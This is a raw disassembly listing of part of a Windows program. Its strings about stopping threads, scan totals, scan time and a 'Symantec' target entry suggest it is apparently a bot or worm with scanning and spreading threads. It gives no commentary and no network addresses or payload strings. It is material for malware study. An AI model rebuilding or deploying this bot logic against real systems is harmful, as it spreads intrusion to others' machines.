XREF: sub_40B231+50j mov [edi], ebx lea edi, dword_43DEBC[esi] mov byte ptr dword_43DCB0[esi], bl mov byte_43DEC8[esi], bl push dword ptr [edi] call dword_4CB00C lea esi, dword_43DEC0[esi] mov [edi], ebx push dword ptr [esi] call dword_4CB00C mov [esi], ebx pop edi loc_40B2B9: ; CODE XREF: sub_40B231+Dj ; sub_40B231+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B231 endp ; =============== S U B R O U T I N E ======================================= sub_40B2BF proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43DCB0 loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj cmp byte ptr [esi], 0 jz short loc_40B2DC push edi call sub_40B231 test eax, eax pop ecx jz short loc_40B2DC inc ebx loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj ; sub_40B2BF+1Aj add esi, 234h inc edi cmp esi, offset dword_4CACB0 jl short loc_40B2CB pop edi mov eax, ebx pop esi pop ebx retn sub_40B2BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep ; sub_401ACD+42E0p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43DEB4 loc_40B305: ; CODE XREF: sub_40B2F1+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B327 test edi, edi jle short loc_40B319 cmp [esi], edi jz short loc_40B319 cmp ebx, edi jnz short loc_40B327 loc_40B319: ; CODE XREF: sub_40B2F1+1Ej ; sub_40B2F1+22j push ebx call sub_40B231 test eax, eax pop ecx jz short loc_40B327 inc [ebp+var_4] loc_40B327: ; CODE XREF: sub_40B2F1+1Aj ; sub_40B2F1+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CAEB4 jl short loc_40B305 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B2F1 endp ; =============== S U B R O U T I N E ======================================= sub_40B33E proc near ; CODE XREF: ___:00401630p ; sub_401ACD+97Ap ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43DEB0 loc_40B345: ; CODE XREF: sub_40B33E+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B34E inc eax loc_40B34E: ; CODE XREF: sub_40B33E+Dj add ecx, 234h cmp ecx, offset dword_4CAEB0 jl short loc_40B345 retn sub_40B33E endp ; =============== S U B R O U T I N E ======================================= sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43DEB0 loc_40B367: ; CODE XREF: sub_40B35D+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B380 add ecx, 234h inc edx cmp ecx, offset dword_4CAEB0 jl short loc_40B367 pop esi retn ; --------------------------------------------------------------------------- loc_40B380: ; CODE XREF: sub_40B35D+10j mov eax, edx pop esi retn sub_40B35D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p ; sub_401ACD+126Cp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B39D push [ebp+arg_1C] call sub_41B779 pop ecx loc_40B39D: ; CODE XREF: sub_40B384+Ej push eax push [ebp+arg_18] call sub_40B2F1 pop ecx test eax, eax pop ecx jle short loc_40B3C9 push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41B886 add esp, 14h jmp short loc_40B3E3 ; --------------------------------------------------------------------------- loc_40B3C9: ; CODE XREF: sub_40B384+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41B886 add esp, 10h loc_40B3E3: ; CODE XREF: sub_40B384+43j cmp [ebp+arg_C], 0 jnz short loc_40B403 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_40B403: ; CODE XREF: sub_40B384+63j lea eax, [ebp+var_200] push eax call sub_4151AC pop ecx leave retn sub_40B384 endp ; =============== S U B R O U T I N E ======================================= sub_40B412 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BA47p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43DEC4[eax], ecx mov dword_43DEB0[eax], ecx mov dword_43DEB4[eax], ecx mov dword_43DEB8[eax], ecx mov dword_43DEBC[eax], ecx mov dword_43DEC0[eax], ecx mov byte ptr dword_43DCB0[eax], cl mov byte_43DEC8[eax], cl retn sub_40B412 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp ; sub_40B57D+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B459: ; CODE XREF: sub_40B44F+68j mov cl, [esi] test cl, cl jz short loc_40B4B9 cmp eax, 1 jnz short loc_40B4B9 mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B4B9 cmp cl, 2Ah jz short loc_40B4A0 cmp cl, 3Fh jz short loc_40B483 cmp cl, 5Bh jz short loc_40B488 xor eax, eax cmp cl, dl setz al loc_40B483: ; CODE XREF: sub_40B44F+26j inc [ebp+arg_4] jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B488: ; CODE XREF: sub_40B44F+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B4E5 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B4B3 ; --------------------------------------------------------------------------- loc_40B4A0: ; CODE XREF: sub_40B44F+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B57D mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B4B3: ; CODE XREF: sub_40B44F+37j ; sub_40B44F+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B459 ; --------------------------------------------------------------------------- loc_40B4B9: ; CODE XREF: sub_40B44F+Ej ; sub_40B44F+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B4C9 cmp eax, 1 jnz short loc_40B4E0 inc esi mov [ebp+arg_0], esi jmp short loc_40B4B9 ; --------------------------------------------------------------------------- loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj cmp eax, 1 jnz short loc_40B4E0 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B4E0 cmp byte ptr [esi], 0 jnz short loc_40B4E0 push 1 pop eax jmp short loc_40B4E2 ; --------------------------------------------------------------------------- loc_40B4E0: ; CODE XREF: sub_40B44F+72j ; sub_40B44F+7Dj ... xor eax, eax loc_40B4E2: ; CODE XREF: sub_40B44F+8Fj pop esi pop ebp retn sub_40B44F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B4E5 proc near ; CODE XREF: sub_40B44F+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B506 inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B506: ; CODE XREF: sub_40B4E5+19j push ebx push esi loc_40B508: ; CODE XREF: sub_40B4E5+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B516 cmp [ebp+var_4], eax jnz short loc_40B562 loc_40B516: ; CODE XREF: sub_40B4E5+2Aj test edi, edi jnz short loc_40B557 cmp bl, 2Dh jnz short loc_40B54B mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B54B cmp al, 5Dh jz short loc_40B54B cmp [ebp+var_4], edi jnz short loc_40B54B mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B557 cmp bl, al jg short loc_40B557 push 1 mov [edx], esi pop edi jmp short loc_40B557 ; --------------------------------------------------------------------------- loc_40B54B: ; CODE XREF: sub_40B4E5+38j ; sub_40B4E5+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B557 push 1 pop edi loc_40B557: ; CODE XREF: sub_40B4E5+33j ; sub_40B4E5+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B508 ; --------------------------------------------------------------------------- loc_40B562: ; CODE XREF: sub_40B4E5+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B56F mov ecx, eax sub ecx, edi mov edi, ecx loc_40B56F: ; CODE XREF: sub_40B4E5+82j cmp edi, eax jnz short loc_40B578 mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B578: ; CODE XREF: sub_40B4E5+8Cj mov eax, edi pop edi leave retn sub_40B4E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B57D proc near ; CODE XREF: sub_40B44F+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B599: ; CODE XREF: sub_40B57D+3Aj cmp [eax], bl jz short loc_40B5B9 mov cl, [ecx] cmp cl, 3Fh jz short loc_40B5AE cmp cl, 2Ah jnz short loc_40B5B9 cmp cl, 3Fh jnz short loc_40B5B1 loc_40B5AE: ; CODE XREF: sub_40B57D+25j inc eax mov [edi], eax loc_40B5B1: ; CODE XREF: sub_40B57D+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B599 ; --------------------------------------------------------------------------- loc_40B5B9: ; CODE XREF: sub_40B57D+1Ej ; sub_40B57D+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B5C4 inc dword ptr [esi] jmp short loc_40B5B9 ; --------------------------------------------------------------------------- loc_40B5C4: ; CODE XREF: sub_40B57D+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B5E5 mov edx, [esi] cmp [edx], bl jz short loc_40B5D6 xor eax, eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5D6: ; CODE XREF: sub_40B57D+53j cmp cl, bl jnz short loc_40B5E5 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B5E5 push 1 pop eax jmp short loc_40B645 ; --------------------------------------------------------------------------- loc_40B5E5: ; CODE XREF: sub_40B57D+4Dj ; sub_40B57D+5Bj ... push eax push dword ptr [esi] call sub_40B44F pop ecx test eax, eax pop ecx jnz short loc_40B62F loc_40B5F3: ; CODE XREF: sub_40B57D+B0j inc dword ptr [edi] mov eax, [edi] loc_40B5F7: ; CODE XREF: sub_40B57D+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B60F cmp cl, 5Bh jz short loc_40B60F cmp dl, bl jz short loc_40B60F inc eax mov [edi], eax jmp short loc_40B5F7 ; --------------------------------------------------------------------------- loc_40B60F: ; CODE XREF: sub_40B57D+82j ; sub_40B57D+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B626 push eax push dword ptr [esi] call sub_40B44F neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B62B ; --------------------------------------------------------------------------- loc_40B626: ; CODE XREF: sub_40B57D+96j mov [ebp+var_4], ebx xor eax, eax loc_40B62B: ; CODE XREF: sub_40B57D+A7j cmp eax, ebx jnz short loc_40B5F3 loc_40B62F: ; CODE XREF: sub_40B57D+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B642 mov eax, [esi] cmp [eax], bl jnz short loc_40B642 mov [ebp+var_4], 1 loc_40B642: ; CODE XREF: sub_40B57D+B6j ; sub_40B57D+BCj mov eax, [ebp+var_4] loc_40B645: ; CODE XREF: sub_40B57D+57j ; sub_40B57D+66j pop edi pop esi pop ebx leave retn sub_40B57D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B64A proc near ; CODE XREF: sub_401ACD+2AF5p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_4317A4 push eax xor ebx, ebx call sub_41B886 cmp dword_431408, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B6BC push esi mov esi, offset dword_431410 loc_40B67D: ; CODE XREF: sub_40B64A+6Fj mov eax, [esi] test eax, eax jbe short loc_40B6B2 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431798 push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 add esp, 1Ch loc_40B6B2: ; CODE XREF: sub_40B64A+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B67D pop esi loc_40B6BC: ; CODE XREF: sub_40B64A+2Bj push dword_4CACB4 call sub_41A88B pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41B886 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 34h pop edi pop ebx leave retn sub_40B64A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B719 proc near ; CODE XREF: sub_401ACD+2ADFp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CDA80 mov ecx, dword_4CDA7C push esi push dword_4CACB4 lea esi, [ecx+eax] call sub_41A88B pop ecx push eax push esi push dword_4CDA80 lea eax, [ebp+var_200] push dword_4CDA7C push offset unk_4317C4 push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 30h pop esi leave retn sub_40B719 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B785 proc near ; CODE XREF: sub_401ACD+2AC9p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_200] push dword_4CDCC4 push offset unk_43180C push eax call sub_41B886 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 28h leave retn sub_40B785 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7DA proc near ; CODE XREF: sub_401ACD+2AB3p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41BB20 push edi lea eax, [ebp+var_800] push offset dword_431858 push eax call sub_41B886 cmp dword_431408, 0 pop ecx pop ecx mov edi, 800h jz short loc_40B846 push esi mov esi, offset aSymantec ; "Symantec" loc_40B80F: ; CODE XREF: sub_40B7DA+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431848 push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40B80F pop esi loc_40B846: ; CODE XREF: sub_40B7DA+2Dj push dword_4CACB4 call sub_41A88B pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41B886 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41C1E0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_800] push eax call sub_4151AC add esp, 30h pop edi leave retn sub_40B7DA endp ; --------------------------------------------------------------------------- byte_40B8A1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+30E0o ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CAFB4 xor edi, edi mov [ebp-8], eax cmp dword_431408, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BA03 mov ebx, offset dword_431408 mov eax, ebx loc_40B8F2: ; CODE XREF: ___:0040B9FDj push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C087 add esp, 0Ch cmp eax, 1 jnz loc_40B9F3 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_4318A8 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41B886 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41B886 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40B98E lea eax, [ebp-124h] loc_40B98E: ; CODE XREF: ___:0040B986j push eax lea eax, [ebp-1DCh] push eax call sub_41B886 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40B9F3: ; CODE XREF: ___:0040B905j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40B8F2 loc_40BA03: ; CODE XREF: ___:0040B8E5j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431874 push eax call sub_41B886 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409A72 lea eax, [ebp-3F0h] push eax call sub_4151AC push dword ptr [ebp-18h] call sub_40B412 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0AAh, 45h ; --------------------------------------------------------------------------- sub al, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA56 proc near ; CODE XREF: sub_401ACD+244Ep var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B33E test eax, eax pop ecx jle short loc_40BA92 mov eax, [ebp+arg_C] push dword_4CB0C0[eax*8] call dword_4CB000 push eax lea eax, [ebp+var_200] push offset unk_4318F8 push eax call sub_41B886 add esp, 0Ch jmp short loc_40BAA5 ; --------------------------------------------------------------------------- loc_40BA92: ; CODE XREF: sub_40BA56+13j lea eax, [ebp+var_200] push offset unk_4318D8 push eax call sub_41B886 pop ecx pop ecx loc_40BAA5: ; CODE XREF: sub_40BA56+3Aj push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_200] push eax call sub_4151AC add esp, 18h leave retn sub_40BA56 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BACD proc near ; CODE XREF: sub_40C124+267p var_210 = dword ptr -210h var_204 = byte ptr -204h var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_90 = byte ptr 98h arg_110 = dword ptr 118h arg_130 = dword ptr 138h arg_138 = dword ptr 140h arg_13C = dword ptr 144h push ebp mov ebp, esp sub esp, 204h mov eax, [ebp+arg_130] push ebx cmp eax, 0FFFFFFFFh push esi jz loc_40BF9F shl eax, 6 xor ebx, ebx cmp dword_431414[eax], ebx jz loc_40BF9F push 5 call sub_40B33E test eax, eax pop ecx jnz loc_40BD54 mov eax, dword_429078 push edi mov esi, offset dword_4CD17C push 104h push esi push ebx mov dword_4CD38C, eax mov dword_4CD388, ebx nop call near ptr 2660000h mov edi, offset byte_429108 push 103h push edi push offset dword_4CD280 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD178, eax mov eax, [ebp+arg_138] push 7Fh mov dword_4CD410, eax jnz short loc_40BB80 lea eax, [ebp+arg_10] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, 1 jmp short loc_40BB9A ; --------------------------------------------------------------------------- loc_40BB80: ; CODE XREF: sub_40BACD+94j lea eax, [ebp+arg_90] push eax push offset dword_4CD390 call sub_41B5F0 add esp, 0Ch mov dword_4CD414, ebx loc_40BB9A: ; CODE XREF: sub_40BACD+B1j push esi lea eax, [ebp+var_204] push dword_4CD38C push offset unk_42BE5C push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 5 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD384, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD178 push offset word_411796 push ebx push ebx call near ptr 2670000h nop mov ecx, dword_4CD384 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BC08 loc_40BBF6: ; CODE XREF: sub_40BACD+139j cmp dword_4CD418, ebx jnz short loc_40BC23 push 32h nop call near ptr 2660F57h jmp short loc_40BBF6 ; --------------------------------------------------------------------------- loc_40BC08: ; CODE XREF: sub_40BACD+127j nop call near ptr 2670763h push eax lea eax, [ebp+var_204] push offset unk_431A18 push eax call sub_41B886 add esp, 0Ch loc_40BC23: ; CODE XREF: sub_40BACD+12Fj lea eax, [ebp+var_204] push eax call sub_4151AC mov eax, dword_4CACB0 mov esi, offset dword_4CD424 mov [esp+210h+var_210], 104h push esi push ebx mov dword_4CD634, eax mov dword_4CD630, ebx nop call near ptr 2660000h push 103h push edi push offset dword_4CD528 call sub_41B5F0 mov eax, [ebp+arg_110] add esp, 0Ch cmp [ebp+arg_90], bl mov dword_4CD420, eax mov eax, [ebp+arg_138] pop edi mov dword_4CD6B8, eax push 7Fh jnz short loc_40BCA4 lea eax, [ebp+arg_10] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, 1 jmp short loc_40BCBE ; --------------------------------------------------------------------------- loc_40BCA4: ; CODE XREF: sub_40BACD+1B8j lea eax, [ebp+arg_90] push eax push offset dword_4CD638 call sub_41B5F0 add esp, 0Ch mov dword_4CD6BC, ebx loc_40BCBE: ; CODE XREF: sub_40BACD+1D5j push esi lea eax, [ebp+var_204] push dword_4CD634 push offset unk_4319E4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 4 push eax call sub_40B0F6 add esp, 1Ch mov dword_4CD62C, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD420 push offset byte_40E991 push ebx push ebx nop call near ptr 2670000h mov ecx, dword_4CD62C imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BD2C loc_40BD1A: ; CODE XREF: sub_40BACD+25Dj cmp dword_4CD6C0, ebx jnz short loc_40BD47 push 32h nop call near ptr 2660F57h jmp short loc_40BD1A ; --------------------------------------------------------------------------- loc_40BD2C: ; CODE XREF: sub_40BACD+24Bj call near ptr 2670763h nop push eax lea eax, [ebp+var_204] push offset unk_4319B0 push eax call sub_41B886 add esp, 0Ch loc_40BD47: ; CODE XREF: sub_40BACD+253j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BD54: ; CODE XREF: sub_40BACD+35j mov eax, [ebp+arg_130] mov ecx, eax shl ecx, 6 cmp dword_43141C[ecx], ebx jz loc_40BE7D push 7 call sub_40B33E test eax, eax pop ecx jnz loc_40BE77 mov eax, dword_4CDCBC cmp [ebp+arg_90], bl mov dword_4CD0E4, eax mov eax, [ebp+arg_110] mov dword_4CD0D8, eax mov eax, [ebp+arg_138] mov dword_4CD0E0, ebx mov dword_4CD168, eax push 7Fh jnz short loc_40BDC8 lea eax, [ebp+arg_10] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, 1 jmp short loc_40BDE2 ; --------------------------------------------------------------------------- loc_40BDC8: ; CODE XREF: sub_40BACD+2DCj lea eax, [ebp+arg_90] push eax push offset dword_4CD0E8 call sub_41B5F0 add esp, 0Ch mov dword_4CD16C, ebx loc_40BDE2: ; CODE XREF: sub_40BACD+2F9j push dword_4CD0E4 lea eax, [ebp+var_204] push offset unk_431980 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 7 push eax call sub_40B0F6 add esp, 18h mov dword_4CD0DC, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD0D8 push offset byte_40E6EF push ebx push ebx call near ptr 2670000h nop mov ecx, dword_4CD0DC imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BE4F loc_40BE3D: ; CODE XREF: sub_40BACD+380j cmp dword_4CD170, ebx jnz short loc_40BE6A push 32h call near ptr 2660F57h nop jmp short loc_40BE3D ; --------------------------------------------------------------------------- loc_40BE4F: ; CODE XREF: sub_40BACD+36Ej call near ptr 2670763h nop push eax lea eax, [ebp+var_204] push offset unk_431948 push eax call sub_41B886 add esp, 0Ch loc_40BE6A: ; CODE XREF: sub_40BACD+376j lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BE77: ; CODE XREF: sub_40BACD+2A8j mov eax, [ebp+arg_130] loc_40BE7D: ; CODE XREF: sub_40BACD+298j shl eax, 6 cmp dword_431418[eax], ebx jz loc_40BF9F push 3 call sub_40B33E test eax, eax pop ecx jnz loc_40BF9F mov esi, offset dword_4CD954 push 104h push esi push ebx call near ptr 2660000h nop push 5Ch push esi call sub_41BE40 pop ecx cmp eax, ebx pop ecx jz short loc_40BEBE mov [eax], bl loc_40BEBE: ; CODE XREF: sub_40BACD+3EDj mov eax, dword_42907C mov dword_4CDA6C, ebx mov dword_4CDA58, eax lea eax, [ebp+arg_10] push eax push offset dword_4CD6CC call sub_41B886 mov eax, [ebp+arg_110] pop ecx pop ecx mov dword_4CD6C8, eax mov ecx, [ebp+arg_138] push esi push dword_4CDA58 mov dword_4CDA64, ecx mov ecx, [ebp+arg_13C] push eax mov dword_4CDA68, ecx call sub_40AC0F pop ecx push eax lea eax, [ebp+var_204] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_204] push 3 push eax call sub_40B0F6 add esp, 20h mov dword_4CDA60, eax lea eax, [ebp+var_4] push eax push ebx push offset dword_4CD6C8 push offset sub_40F0D5 push ebx push ebx call near ptr 2670000h nop mov ecx, dword_4CDA60 imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40BF77 loc_40BF65: ; CODE XREF: sub_40BACD+4A8j cmp dword_4CDA74, ebx jnz short loc_40BF92 push 32h nop call near ptr 2660F57h jmp short loc_40BF65 ; --------------------------------------------------------------------------- loc_40BF77: ; CODE XREF: sub_40BACD+496j nop call near ptr 2670763h push eax lea eax, [ebp+var_204] push offset unk_431914 push eax call sub_41B886 add esp, 0Ch loc_40BF92: ; CODE XREF: sub_40BACD+49Ej lea eax, [ebp+var_204] push eax call sub_4151AC pop ecx loc_40BF9F: ; CODE XREF: sub_40BACD+14j ; sub_40BACD+25j ... pop esi pop ebx leave retn sub_40BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BFA3 proc near ; CODE XREF: sub_40C124:loc_40C195p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:4CB0C0h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_41C310 add esp, 0Ch push [ebp+arg_0] call dword_4CAE9C inc eax push eax mov [ebp+arg_0], eax call dword_4CAF70 mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_41C310 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_40BFA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 